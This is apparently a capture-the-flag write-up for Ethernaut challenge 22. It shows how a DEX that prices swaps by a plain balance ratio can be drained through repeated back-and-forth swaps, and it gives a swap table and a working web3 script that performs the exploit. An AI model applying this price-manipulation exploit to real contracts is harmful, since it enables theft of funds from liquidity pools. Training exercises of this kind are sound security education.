Ethernaut Solutions: Challenge 22 DEX
Challenge 22 on Ethernaut requires us to attack a DEX. DEX has liquidity of two tokens and you can trade on this liquidity where the price of one token in respect to another is the ratio of tokens relative to each other in the liquidity pool.
The challenge is to drain at least one of the tokens. This is achieved through price manipulation by repeatedly exchanging tokens back and forth from each other until one of the tokens is depleted.
price = amount * balance_to_token/balance_from_tokenToken1 Token2 AmountToken1 AmountToken2
100 100 10 10
// Exchange all of Token1 for Token2 ------> (10 * 10/10) = 10
110 90 0 20
// Exchange all of Token2 for Token1 ------> (20 * 110/90) = 24
86 110 24 0
// Exchange all of Token1 for Token2 ------> (24 * 110/86) = 30
110 80 0 30
// Exchange all of Token2 for Token1 ------> (30 * 110/80) = 41
69 110 41 0
// Exchange all of Token1 for Token2 ------> (41 * 110/69) = 65
110 45 0 65
// Exchange 45 tokens token2 for Token1 ----> (45 * 110/45) = 45
0 90 110 20
// We depleted Token1 - a pricing that maintains an invariant e.g constant product formulae would not allow one token to be depleted relative to another e.g x*y = k
Code Solution
const token1Ad = await contract.token1()
const token2Ad = await contract.token2()const approveAmount = 200 const data = web3.eth.abi.encodeFunctionCall({
name: 'approve',
type: 'function',
inputs: [
{
"name": "_spender",
"type": "address"
},
{
"name": "_value",
"type": "uint256"
}
],
}, [contract.address,approveAmount])await web3.eth.sendTransaction({from:player,to:token1Ad,data: data})
await web3.eth.sendTransaction({from:player,to:token2Ad,data: data})// Do the 6 steps of swaps highlighted earlier
await contract.swap(token1Ad,token2Ad,10)
await contract.swap(token2Ad,token1Ad,20)
await contract.swap(token1Ad,token2Ad,24)
await contract.swap(token2Ad,token1Ad,30)
await contract.swap(token1Ad,token2Ad,41)
await contract.swap(token2Ad,token1Ad,45)
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